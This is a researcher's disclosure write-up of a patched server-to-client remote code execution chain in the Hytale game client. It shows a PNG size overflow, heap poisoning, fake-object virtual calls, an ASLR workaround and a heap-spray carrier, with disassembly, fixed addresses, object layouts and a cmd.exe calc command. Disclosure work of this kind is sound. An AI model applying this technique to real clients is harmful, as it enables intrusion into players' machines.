TL;DR
Before I found the vulnerability, I had already found the ending. Buried in Hytale's Sentry diagnostics code was a helper that could start cmd.exe and reach CreateProcessW. It was not a bug by itself, and I had no way to feed it server-controlled data, but it was exactly the process-launch gadget I wanted to reach and already had for weeks in the back of my mind.
After a larger Hytale update, I took another serious look at the client. One unchecked PNG calculation turned a real decoded size of 0x100000004 into an allocation of four bytes. A single row then wrote 260 bytes into that array. The first four fit. The next 256 poisoned the managed heap.
At first, it was only a useless "integer" overflow remote crash. Then I found that the next allocation was a System.Exception, created directly inside the overwritten memory. That exception became the bridge to the old Sentry helper.
My first safe code-execution proof opened Windows Calculator (calc.exe), but it still needed addresses measured in a debugger. I kept pushing until the debugger, process-specific addresses, timing help, and every other victim-side requirement were gone. The final chain was just a remote Ubuntu server sending two crafted PNG assets to an untouched Windows 11 client. Hytale corrupted its own heap, reached the process helper, started cmd.exe, and opened Calculator. The idea behind the calc.exe PoC is to proof remote code execution, a malicious server "could have" compromised any connecting players system (atleast proven for windows).
I reported it privately. Hytale worked with me directly, shipped a fix that same afternoon, and paid the $20,000 bounty on the day of the report. Awesome response time and one of the greatest bounty programs out there, because they care!
That is the TLDR. What follows is the full chain, from three bad instructions to a debugger-free server-to-client RCE, including the failed ideas, heap layouts, useful gadgets, and the final patch.
Affected build: Hytale 0.5.6 build 19
Fixed build: Hytale 0.5.7 build 20
Platform tested: Windows 11 x64
Bug class: integer overflow leading to a managed-heap buffer overflow
Severity: Critical, CVSS 3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (8.8)
Showcase
The exploit chain
There are two layers to this exploit. The outer layer is the server-to-client delivery path: the server transfers a large carrier PNG and the 102-byte target PNG, then requests an asset rebuild. The inner layer begins when the client decodes those files in carrier-then-target order. That is where the integer wrap, heap overwrite, fake objects, virtual calls, and process launch happen.
The rest of the post follows that inner chain in order. Each stage starts with the result from the previous one, explains the blocker we hit, and then shows the change that moved the exploit forward.
Stage 0: A process launch gadget with no path into it, 0x90 goes grrr for weeks
This story starts before the PNG bug. During earlier client reversing, I found a helper at RVA (Relative Virtual Address) 0x00B716C0 (When mentioning addies, im talking specifically about the vulnerable build/version) inside Sentry's bundled MemoryMonitor code. On Windows it selects the client's frozen cmd.exe String, builds a ProcessStartInfo, calls Process.Start, and eventually reaches CreateProcessW.
Its normal job is local diagnostics. Sentry can use it to run a command shaped like this:
Code:
dotnet-gcdump collect -v -p <current PID> -o '<local diagnostic path>'
Hytale did not enable the HeapDumpOptions gate that normally creates this monitor. I also found no packet, asset field, or gameplay command that could supply the helper's command String. It was useful code, but not a vulnerability. As a security researcher or CTF player you identify gadgets and just remember them, so you can eventually abuse them someday. This is exactly what happened.
Important to understand is, this gadget isn't extremely relevant, the bug itself is the core issue, there is potentially multiple ways to weaponize it. And one more note, if you want to follow along in IDA: IDA address is 0x140000000 + RVA. The rva's allow you to rebase to whatever, ida in this case.
Stage 1: Finding the overflow bug
After the larger client update, I started another pass over data a server could make a client parse, since the capability of forcing the clients to rebuild/parse/execute something is incredibly interesting. The first important result was not in Wuffs itself. It was in Hytale's NativeAOT (client) wrapper, which prepared a managed output array and described that memory to Wuffs. The wrapper starts at RVA 0x009F3180. It parses the PNG header, reads width and height, obtains a work-buffer requirement, and then calculates the output size.
The dangerous part is only three instructions:
Code:
RVA Instruction
009F3262 mov ecx,r15d
009F3265 imul ecx,r13d
009F3269 imul ecx,esi
For this call:
Code:
r15d = width
r13d = height
esi = bytes per pixel
All three values are 32-bit. Both imul instructions can overflow, but the code never checks the overflow flag. ECX simply keeps the low 32 bits.
The target PNG declares:
Code:
width = 65
height = 16,519,105
bytes per pixel = 4
The real output size is:
Code:
65 * 16,519,105 * 4
= 4,294,967,300
= 0x100000004
Only the low 32 bits survive:
Code:
0x100000004 & 0xffffffff = 0x00000004
Hytale therefore asks NativeAOT for byte[4].
Code:
correct calculation, 64-bit
0x00000001 00000004
^^^^^^^^
low 32 bits
calculation used by the vulnerable wrapper -> 0x00000004
The next branch makes the result easy to recognize in a debugger:
Code:
RVA Instruction Meaning
009F326C cmp ecx,800h compare length with 2048
009F3272 jl 009F3280 take small-array path
009F3280 movsxd rdx,ecx length is 4
009F3283 lea rcx,[byte-array EEType] byte[] type
009F328A call 017EF6B0 RhpNewArrayFast
The output plane is built later, at 0x009F32A7 through 0x009F32F5. This part uses the original image geometry. It tells Wuffs that each row is 260 bytes wide, there are 16,519,105 rows, and the stride is 260 bytes.
Code:
managed allocation Wuffs output plane
+>----------------<+ pointer = array + 0x10
| byte[4] | row = 65 * 4 = 260 bytes
| actual data = 4 | height = 16,519,105
+>----------------<+ stride = 260 bytes
The plane has no field that says, "the backing array is only four bytes." From Wuffs' point of view, Hytale supplied a normal pointer and a self-consistent geometry. Wuffs follows the contract it was given. And yea that's obviously suboptimal, it's not wuffs fault, just typical development footguns. I've talked about exactly these kinda issues and questions in my other blog about Apache Airflow and the Annoying question whats a vulnerability.
So to keep it real, this was a size-validation bug in hytales wrapper not an established bug in Wuffs. -> Wuffs Github
Another fun fact, the client actually did contain a 64-bit decoded size check at RVA 0x0066F8A0. It ran after the wrapper returned. That was too late. decode_frame had already received the bad plane and written into the heap. At this point the arithmetic showed that an undersized allocation was possible. It did not yet prove that Wuffs would write useful bytes beyond it. The main blocker here was to just continue into a measured/controlled overwrite with this overflow, a little heads up to keep you motivated.. ASLR, CET.. windows security features... well they are useless if gadgets are shipped but this RCE shows beautifully how they COULD protect users.
Stage 2: Turning the size bug into controlled bytes
A crash by itself can be misleading. The next question was whether the image controlled the bytes outside the allocation or if we just corrupt something, so investigation started.
The target is an indexed PNG. Its palette gives direct control over the RGBA dwords produced for each pixel. An early test of mine used two entries:
Code:
palette entry 0 = 11 22 33 44
palette entry 1 = aa bb cc dd
Alternating pixel indices produced alternating dwords. A guard page placed directly after the logical four-byte output stopped the decoder at the first out-of-bounds write.
Code:
logical output
offset 0x00 11 22 33 44 in bounds
offset 0x04 aa bb cc dd first out-of-bounds dword
offset 0x08 11 22 33 44 next controlled dword
offset 0x0c aa bb cc dd next controlled dword
...
The final target contains one indexed scanline. Wuffs writes one complete 260-byte row and then reports that the image is incomplete, which basically results in a typical bof, the actual exploit primitive, controlled forward heap overwrite, not just some malformed image crash. I will illustrate what a buffer overflow is real quick, so everyone reading this understands it properly.. so basically you just write more memory then intended in the buffer, overwriting unrelated memory.
Stage 3: Moving from offline testing onto the network
The next part was suprisingly direct. Hytale eagerly loads PNG files below UI/Custom/. The player does not need to open a special UI page or click a malicious sprite. The server can install an asset through the normal common-asset protocol and ask the client to rebuild its asset set:
Code:
packet 24 AssetInitialize
packet 25 AssetPart
packet 26 AssetFinalize
packet 28 RequestCommonAssetsRebuild
The client then politely followed the request... Packet Handler (RVA 0x00256DF0) -> Common asset rebuild (RVA 0x0034F99A) -> Enumerating UI/Custom/*.png (RVA 0x00343680) -> image loader (RVA 0x0066FA90) -> vulnerable Wuffs wrapper (RVA 0x009F3180). This moved the finding from a local parser bug to remote native memory corruption. A normal server asset transfer could terminate an authenticated release client. That result was reportable as a remote crash, but it still did not explain what the 256 controlled bytes could corrupt in a useful and repeatable way. The next step was to stop looking only at the fault and reconstruct the allocation sequence around it. Or lets just call it, weaponizing the bof.
Stage 4: The next heap object was the breakthrough
The key breakthrough came from looking at what Hytale did after Wuffs returned an error. Instead of trying to hit an unrelated object that happened to be nearby, I could make the decoder create the target object for me, how clever huh. NativeAOT (client) uses a bump allocator for small managed objects. A byte[] has this layout in the tested runtime:
Code:
array +0x00 EEType pointer
array +0x08 signed length
array +0x10 byte data
Its allocation span is:
Code:
span(length) = (length + 0x1f) & ~7
span(4) = 0x20
Let A be the address of the vulnerable byte[4]. The next free address is A+0x20. The truncated image was useful for a second reason. It made Wuffs write the controlled row and then return an error. The wrapper handled that error by allocating System.Exception with RhpNewFast at RVA 0x009F33DB.
That exception landed exactly at A+0x20.
Code:
low addresses
A+0x00 +>--------------------------------<+
| real byte[] header |
A+0x10 +>--------------------------------<+
| 4 valid output bytes |
A+0x14 | |
| PNG has already written here |
A+0x20 +>-------------0x90---------------<+
| future System.Exception E |
| size 0x58 |
| body was poisoned before alloc |
A+0x78 +>--------im-bad-at-ascii---------<+
high addresses
I've essentially verified this through a live run and the appropriate name is future object poisoning, we will later discuss why exactly we had to take these routes.. heads up ASLR, CET etc. The overwrite reaches unused allocation space first. A real object is then created on top of those bytes.
The allocator and constructor do not clear the whole object on the fast path. They repair only the fields they need:
| Exception field | Offset | What happens after poisoning |
|---|---|---|
| EEType | +0x00 | Allocator writes the real Exception type |
| Message | +0x08 | Constructor writes a real managed string |
| Data | +0x10 | Not repaired |
| InnerException | +0x18 | Not repaired |
| Stack trace reference | +0x40 | Not repaired in the first crash payload |
| HResult | +0x48 | Constructor writes 0x80131500 |
| Stack trace index | +0x4c | Not repaired in the first crash payload |
asm from dotnet
The adjacency solved object placement. It did not solve object validity. NativeAOT repaired some Exception fields after allocation and left others poisoned, so I first needed to learn exactly which bytes survived and which runtime path consumed them. Now the blocker was to determine which poisoned Exception fields survive construction and whether any of them lead to controlled behavior.
Stage 5: A controlled fault, but still not RCE
The early 11 22 33 44 and aa bb cc dd pattern we used poisoned the exception stack fields:
Code:
E+0x40 _corDbgStackTrace = 0xDDCCBBAA44332211
E+0x48 _HResult = repaired to 0x80131500
E+0x4c _idxFirstFreeStackTraceEntry = 0xDDCCBBAA
The first fault was at RVA 0x00D4828E:
Code:
RVA Instruction
00D4824D mov edi,dword ptr [rbx+0x4c]
...
00D4828A mov rcx,qword ptr [rbx+0x40]
00D4828E cmp dword ptr [rcx+0x08],edi
At the fault:
Code:
RBX = address of poisoned Exception
RDI = 0xDDCCBBAA
RCX = 0xDDCCBBAA44332211
That gave three useful facts at once:
- The next Exception really occupied the overwritten heap range.
- Controlled PNG bytes survived its constructor.
- NativeAOT later consumed those exact fields as a pointer and an index.
Stack trace of the first crash, this is a call stack, not a corrupted stack mem diagram. No ret addy was overwritten.
Code:
top of logical call chain
0x009F33DB allocate decoder Exception
0x00A55E90 repair Message and HResult
0x009F341A call RhpThrowEx
0x017EFF20 RhpThrowEx
0x00DFEC30 RhThrowEx
0x00DFECE0 DispatchEx
0x00DFE980 AppendExceptionStackFrame callback
0x00D48330 Exception.AppendExceptionStackFrame
0x00D48240 Exception.AppendStackIP
0x00D4828E first access violation
0x017EFE30 RhpThrowHwEx
0x00DFEB20 RhThrowHwEx
0x00D48EF0 GetRuntimeException
0x00D49032 AccessViolation selects FailFast
0x00D49610 FailFast
0x00D49CDA RaiseFailFastException
bottom of logical call chain
At this point we still lacked a useful control flow path and instrumenting this looked really unreliable across heap layouts. The first fault gave control over an Exception pointer and count, but crashing inside AppendStackIP was not a useful final primitive. I tried to compose those fields into something better, i tried a ton of stuff, had a bunch of leads but most failed.
| Candidate | Why it looked useful | Why it failed |
|---|---|---|
| Exception stack array | Converts a poisoned pointer and index into a later qword store | The stored value was a runtime return address, not an arbitrary attacker value |
| Fixed BigInteger cache | Stable writable object below 4 GiB | The confirmed write damaged data fields but did not reach a control-flow consumer |
| Texture upload delegate | Contains a real indirect method call | It is allocated only after a successful decode, while this PNG takes the error path |
| Packet 28 callback | Lives in the exact remote rebuild path | It is allocated before the vulnerable array, and a forward overwrite cannot travel backward |
| Image and atlas objects | Contain references and lengths used by native copy code | They are created only after decode succeeds |
These dead ends changed the strategy. The reliable target was not a random neighboring delegate or a forged return address. It was the poisoned Exception itself, because Hytale naturally carried that object into more managed code after the decoder failed.
Stage 6: Why this became an object chain instead of a typical ROP
The obvious memory-exploitation question was whether the overwrite could become a ROP chain. In practice, the primitive and the Windows mitigations pushed the research in a different direction.
The write was in the managed heap. It moved forward from a four-byte array and did not reach a live return address. DEP meant the controlled PNG bytes could not simply become executable shellcode. The user shadow stack made a forged return chain a poor target even if a stack overwrite could be found. ASLR also meant that a payload could not safely embed ordinary client code addresses without first learning the image base.
CFG was enabled for the process, although the tested Hytale image did not have its own Guard CF function table. Rather than depend on that implementation detail, I wanted call targets that were already valid method entries and call sites that used the program's normal calling convention.
SEHOP did not help or hurt this route. SEHOP protects the native Windows exception-handler chain. The object under control here was a managed System.Exception on the NativeAOT heap. Those are separate structures.
So my notes litterly said:
Code:
do not execute heap bytes
do not overwrite a return address
do not forge the native SEH chain
instead
forge managed receivers
reuse normal virtual calls
call existing executable methods
keep every call and return balanced
So the final imagined payload should build fake objects whose fields satisfy just enough of the programs expectations to make legitimate virtual call sites invoke useful legitimate methods. Sounds easy huh.
So the next goal was to find a normal managed virtual call whose receiver comes from Exception.InnerException.
Stage 7: The error reporter supplied the call gadget lol
The useful call site was inside Hytale's own exception reporter. At RVA 0x001E3320, it formats one exception, reads InnerException, calls a virtual method on that object, appends the returned message, and follows the next inner link.
Code:
RVA Simplified behavior
001E3329 RCX = outer exception
001E332C RAX = [outer]
001E332F call [RAX+0x30] outer.Message
001E3335 RBX = [outer+0x18] InnerException
001E333E RCX = RBX
001E3341 RAX = [RBX]
001E3344 call [RAX+0x30] controlled dispatch
001E3347 R8 = RAX returned String
001E334D RDX = " -> "
001E3354 concatenate
001E335C RBX = [RBX+0x18] next inner object
The Exception constructor did not repair InnerException, so the PNG could choose the object loaded into RBX. The call at 0x001E3344 then had a simple fake-object contract:
Code:
X = attacker-selected fake receiver
Y = [X], fake method-table view
target = [Y+0x30]
RCX = X
call target
After the call, the reporter treated RAX as the returned message String and later loaded the next object from X+0x18. Those two behaviors became the data flow for the final chain: one fake object could return useful String data and point the reporter at a second fake object.
The CPU saw an ordinary indirect call. The selected method returned normally to the reporter. No stack frame was skipped, so the hardware shadow stack stayed synchronized.
This was the control-flow primitive the crash was missing. The next goal was deliberately modest: use it to start calc.exe in one measured process (debugger attached) before trying to solve ASLR and heap placement. I just wanted to see that calc pop up once, it boosts motivation.
Stage 8: First calculator proof with the help of our debugger
The first working execution chain used the poisoned exception itself as storage for a fake dispatch table and a fake managed String. For a known vulnerable array address A and a known client image base, the layout was (known means: with the help of our lil debugger):
Code:
A+0x00 real byte[] EEType
A+0x08 byte[] length = 4
A+0x10 Wuffs output starts
A+0x20 real Exception E
A+0x28 E.Message, repaired
A+0x30 fake method slot = client + 0x001E6390
A+0x38 E.InnerException = X = A + 0x40
A+0x40 fake String header points back to A
A+0x48 fake String length = 8
A+0x4c UTF-16 "calc.exe"
A+0x5c string terminator
A+0x60 zero stack reference
A+0x6c zero stack index
So we had to manually obtain the base addy and addy to A to forge the valid addresses (ASLR issues, address randomization). But the error reporter eventually performed this virtual dispatch:
Code:
current = E.InnerException = X
Y = [X] = A
target = [Y+0x30] = [A+0x30]
RCX = X
call target
Now back to our initial lil helper gadget from sentry. The selected target, RVA 0x001E6390, accepted one managed String in RCX. It created a ProcessStartInfo, set that string as the file name, enabled UseShellExecute, selected the open verb, and entered the normal Windows shell path.
Code:
0x001E6390 one-String open wrapper
0x00BE43C0 Process.Start(ProcessStartInfo)
0x00BE4120 Process.Start instance path
0x00BE7080 build SHELLEXECUTEINFOW
0x00BE0650 P/Invoke transition
0x00BE06D0 resolved ShellExecuteExW call
Calculator opened! That was a major result because it proved the overwrite could become code execution without shellcode or a corrupted return address.
It still was not the final server-to-client proof. The PNG embedded both A and client_base + 0x001E6390. Those values came from the current process like described with the help of my little debugger friend, i call him josy.
The prediction error was zero, and the fake String printed as exactly calc.exe at the wrapper, it was just beautiful. This first success gave the chain a shape. The remaining work was to remove every process-specific input, so we have a standalone end2end remote server to client RCE.
Stage 9: Returning to the old Sentry helper building the payload
With process execution proven, I returned to the helper that had started the whole idea. The method at RVA 0x00B716C0 came from Sentry's MemoryMonitor diagnostic code and already knew how to start cmd.exe.
This helper exists so Sentry can run a local managed heap-dump command after an internal diagnostic event. Its intended command looks again like this:
Code:
dotnet-gcdump collect -v -p <current PID> -o '<local diagnostic path>'
It already knew how to build a Windows command line and enter .NET's process-launch path, we also found a way to call it. I will now just quickly outline the actual payload and what is actually executed.
Code:
RVA Action
00B716C0 process command helper entry
00B71824 allocate ProcessStartInfo
00B718A7 select frozen "cmd.exe" String
00B718BB build arguments from "-c \"" + command + "\""
00B718D8 store ProcessStartInfo.Arguments
00B718DD disable shell execute and configure redirection
00B718FC call Process.Start
00BE42C0 select no-shell branch
00BE5870 Process.StartCore
00BE5CDC P/Invoke marshaling
00BDDCC8 native thunk
017E93D0 build Windows process structures
017E95CA call CreateProcessW
So in win api terms:
Code:
HytaleClient.exe
|
v
cmd.exe -c "/c ping -n 6 127.1&calc"
|
v
calc.exe
and as you can tell our payload is: ping -n 6 127.1&calc .
A ping is usually used just for timing instrumentation purposes.. madethe process tree easier to capture etc.
The helper solved the process-launch side, but it had a stricter calling convention than the first open wrapper. It needed a receiver that survived its internal state checks in RCX and a managed command String in RDX. The reporter controlled the receiver, but not the command register. So to fix this blocker we now needed to turn one cotnrolled reporter dispatch into TWO calls while carrying a chosen command string into RDX for the second call. Yikes.
Stage 10: Building a two object command chain
Calling 0x00B716C0 was not enough. It expected two useful values:
Code:
RCX = a receiver whose state checks are safe
RDX = a managed command String
The reporter's virtual call gave control over RCX, but RDX was stale. A direct jump to the process helper would fail before the command was useful. The solution was to make the reporter process two fake InnerException objects in sequence and use its own String concatenation as a register-transfer gadget.
To understand the layout, it helps to reduce a managed virtual call to the few reads used here. A normal NativeAOT object begins with an EEType pointer. The call site reads that first qword as a table, then loads the method pointer from table slot +0x30:
Code:
real managed object
object +0x00 EEType or method-table pointer
object +0x08 first instance field
object +0x18 another instance field
virtual dispatch used by the reporter
receiver X
table Y = [X+0x00]
method = [Y+0x30]
call method with RCX = X
The fake receiver did not need to survive every possible runtime operation. It only had to satisfy the exact loads performed before the useful call. That limited contract is what made the chain fit inside repeated PNG-controlled data.
First fake receiver: return a string
RVA 0x001D88A0 is a tiny legitimate method:
Code:
001D88A0 mov rax,[rcx+0x08]
001D88A4 ret
It acts as a field getter. If fake receiver X stores a pointer to H at X+0x08, the method returns H in RAX.
The reporter then treats H as a managed String and concatenates it into the error text. The relevant String routines check the inline length and copy the characters. They do not validate the fake object's EEType on this path.
H was built as a fake 32-character String. A second view, Q = H+0x0c, held the command length and UTF-16 command body.
Code:
X fake receiver
X+0x00 fake method table for getter
X+0x08 H
X+0x18 Z, next fake inner object
H fake String
H+0x08 length = 32
H+0x0c Q begins
Q command String view
Q+0x08 command character count
Q+0x0c UTF-16 command text
For exactly 64 copied bytes, the String block-copy path left RDX = H+0x0c. The reporter then loaded Z as the next inner object without changing RDX.
That exact length mattered. Shorter and longer copy paths changed the volatile registers differently. A 32-character outer String produced a 64-byte copy through RVA 0x00D73802, and that path preserved the source pointer in RDX. The layout deliberately placed a second String view at that source address, so the leftover register was not accidental garbage. It was the command object the next method expected.
The second dispatch therefore began with: RCX = Z and RDX = Q
That was the register handoff needed by the Sentry helper.
Second fake receiver: call the actual process helper
The second receiver contained the process helper table and a safe state pointer:
Code:
Z+0x00 fake method table for command helper
Z+0x08 safe state object
The helper reads a state byte before reaching its process-launch body:
Code:
00B716D3 mov rbx,rcx
00B716D6 mov rsi,rdx
00B716D9 mov rdi,[rbx+0x08]
00B716EF cmp byte ptr [rdi+0x1d6],0
00B71701 xor edi,edi
00B71703 test rdi,rdi
00B71706 jump to inactive-monitor path when null
...
00B71966 reload [rbx+0x08] and repeat the byte test
The final chain used 0x8001C0D0 for that field. This address was a fixed, rooted NativeAOT BigInteger values holder in the tested processes. It was not a real Sentry monitor object. The helper's limited reads still landed in readable zeroed runtime memory and passed both state checks, which was all this code-reuse path needed.
So the full logical object chain was:
real poisoned Exception E
-> InnerException (fake receiver X: table = getter Table, field = H, next = Z)
-> call getter (fake String H: returns text to reproter, preserves command view Q)
-> reporter leaves RDX = Q (fake receiver Z: table = command table, state = 0x8001C0D0(
-> call process helper finally (RVA 0x00B716C0 -> will Process.Start, CreateProcessW cmd.exe etc. with our custom string payload)
This chain used real calls, real returns, real method entries, and a genuine process-launch implementation. It did not inject executable bytes. The object logic was now complete, but the fake tables still needed method addresses. Hardcoding those methods would bring back the same ASLR dependency as the first manual calc.exe proof.
Stage 11: Removing the client image base dependency
The address-assisted proof embedded client_base + RVA. ASLR makes that different across boots and often across processes. The final chain avoided embedding those high image addresses. NativeAOT had already built low runtime tables containing relocated method pointers. The payload only needed stable low table addresses. The runtime had filled their slots with the correct ASLR-adjusted targets which we can reuse with a big smirk.
Code:
getter cell
Cget = 0x82CFC7C8
[Cget] = client base + 0x001D88A0
Yget = Cget - 0x30
Yget = 0x82CFC798
[Yget+0x30] = relocated getter pointer
command cell
Ccmd = 0x82D32038
[Ccmd] = client base + 0x00B716C0
Ycmd = Ccmd - 0x30
Ycmd = 0x82D32008
[Ycmd+0x30] = relocated process-helper pointer
The fake receivers used Yget and Ycmd as their table pointers. The payload never needed to know where HytaleClient.exe had actually loaded. and this the the key ASLR trick:
Code:
payload knows low table address
|
v
runtime table contains relocated pointer
|
v
normal virtual call reaches ASLR-randomized code
ASLR was working. The exploit reused pointers that the runtime had already relocated. This removed the high code addresses from the payload. One absolute address was still unavoidable: Exception.InnerException had to point to fake receiver X, and ordinary managed heap addresses moved between runs.
Stage 12: Replacing the heap addy oracle with a carrier
One hard problem remained. Exception.InnerException still needed an absolute pointer to fake receiver X. Managed heap addresses moved between runs. The solution was a large, valid carrier PNG. The final dimensions were:
Code:
width = 8,192
height = 32,760
RGBA bytes = 8,192 * 32,760 * 4
decoded size = 0x3ffc0000
decoded size = 1,073,479,680 bytes
On disk, strong PNG compression kept it around 1.9 MiB. In memory, it became a nearly one GiB managed array. The carrier repeated the same fake-object graph every 4096 bytes. In the tested large-object layout, the decoded data began at page offset 0x58. The graph was stored 0xa8 bytes into each repeated output page, so each in-memory copy landed at absolute page offset 0x100. The chosen fixed candidate was: X = 0x00000000FC000100
If the large allocation covered that address at the expected page offset, a valid copy of the graph existed there. The 102-byte target could then use the same fixed InnerException pointer every time.
Code:
large carrier output
first decoded page
+0x058 decoded array data begins
+0x100 fake graph copy
+0x280 filler resumes
...
later decoded page
+0x000 repeated page data
+0x100 fake graph copy
+0x280 filler resumes
...
page containing 0xFC000100
+0x000 repeated page data
+0x100 X fake receiver
H = X + 0x128
Q = H + 0x0c
Z = X + 0x170
The graph at X was:
Code:
X+0x000 0x0000000082CFC798 getter table
X+0x008 X+0x128 H
X+0x018 X+0x170 Z
H+0x008 32 outer fake String length
H+0x014 command length
H+0x018 UTF-16 command
Z+0x000 0x0000000082D32008 command table
Z+0x008 0x000000008001C0D0 safe runtime state
The target PNG did not need to build that graph again. Its job was much smaller. It wrote 0xFC000100 into the future exception's InnerException field and kept the stack-related fields safe enough for normal exception processing.
Both issues fixed, the carrier replaced the unknown managed address with a fixed covered address. The runtime tables replaced the unknown image base with already-relocated pointers. There were now two assets with different jobs, which introduced a final delivery problem. A successful run required the carrier to decode before the target, even though server send order did not directly determine client enumeration order.
So here carrier vs target and why the order is important:
| Asset | On-wire role | Decoded role |
|---|---|---|
| Carrier PNG | Valid compressed PNG, about 1.9 MiB | Allocates 0x3ffc0000 bytes and repeats fake graphs |
| Target PNG | Truncated indexed PNG, 102 bytes | Allocates byte[4], writes one row out of bounds, poisons Exception |
The carrier had to decode first. The target had to decode immediately after the right setup, while the runtime state was still favorable.
Stage 13: Making the client decode the assets in the right order
Server send order was not automatically client decode order. Hytale stored and enumerated asset names through comparer-backed collections, and stale cache entries could also ruin a run. The final delivered PoC created fresh pairs of distinct asset names with the required hash collisions under the exact ordinal comparers. That made the client visit the carrier before the target while allowing the server to package them in the required wire order.
The final poc plugin carried eight fresh collision pairs. Each attempt consumed a new pair so the client would not quietly reuse cached asset state. This is why a failed heap layout could be retried with a fresh client and name pair without changing the exploit graph. You now think oh overkill etc. but iv'e been stuck on this issue a long time and wanted a smooth poc which is actually useable and doesn't cause accidental confusion if it doesnt work anymore after the first try.
With the object graph, code pointers, heap pointer, and asset order all handled by server-supplied inputs, no debugger-side dependency remained.
Stage 14: The almighty RCE
The final proof used a remote Ubuntu server and an ordinary, unmodified Windows 11 client. The server sent the carrier and target as normal game assets and requested one rebuild and the calc popped up, for me it was awesome, for hytale not really optimal.
Code:
carrier PNG decodes a repeated fake-object graph
|
v
target PNG wraps the RGBA allocation to byte[4]
|
v
one scanline overwrites the next allocation slot
|
v
decoder error allocates Exception at A+0x20
|
v
Exception constructor leaves InnerException poisoned
|
v
error reporter loads fake receiver X
|
v
getter call returns fake String H
|
v
String copy leaves command view Q in RDX
|
v
reporter loads second receiver Z
|
v
second virtual call enters Sentry helper
|
v
Process.Start reaches CreateProcessW
There was one remaining condition, which was managed-heap placement. The carrier needed to cover 0xFC000100 at the expected offset, and the target's small allocations needed the right fast-path behavior. An unfavorable layout usually crashed the client before the process helper ran, but in testing the chances of a favorable heap placement was extremely high. (9/10)
The patch
Hytale fixed the issue in the wrapper, which was the right place. The new HytaleClient.exe version with appliex fix patch changed the wrapper and added a checked-size helper before any dangerous allocation or frame decode. The main fix is that the two imul instructions now operate on 64-bit registers.
I've validated the fix with 4 test inputs after disassembling the new helper:
| Input | Patched result |
|---|---|
| 65 x 16,519,105 x 4 target | Rejected by dimension limit |
| 8,192 x 32,760 x 4 carrier | Rejected by dimension limit |
| 16,384 x 16,384 x 4 | Rejected by 256 MiB output limit |
| 8,192 x 8,192 x 4 | Accepted at exactly 256 MiB |
No bypass of the new validation was found in the active Wuffs PNG path. Since the memory corruption no longer happens, the later exception and process-helper chain has nothing to work with.
Disclosure timeline
The response was about as good as coordinated disclosure gets. I've messaged DevSlashNull (hytale staff) on discord and promptly got an answer, he escalated the disclosure, validate and fixed the issue. The patch was released a few hours after disclosure.
| Time | Event |
|---|---|
| Initial disclosure | Full server-to-client RCE report and calc.exe poc video sent privately |
| Within 1-2 hours | Direct technical contact with the Hytale team and fix work underway |
| Same afternoon | Patched client shipped as Hytale 0.5.7 build 20 |
| Same day | $20,000 bounty paid trough bugcrowd |
| After update | Patched wrapper disassembled by me and both original payloads verified as rejected |
The team treated the issue with the right urgency. Communication was direct, the patch targeted the real root cause, and the turnaround kept players safe.
A few last words
Hytale has been a pleasure to work with, they take their work and security seriously and i can recommend any bug hunter to checkout hytales official bugcrowd engagement. Also im incredibly proud of this finding, it combined so many areas of expertise and pushing on actually finding a valid & validated proven end2end attack was awesome. Modern day security disclosures are usually full of yap and unvalidated findings, so i took the extra mile to keep digging and actually proof the issue with a proper exploit and a proper poc + writeup. Based on the feedback I received, hytales team really appreciated that.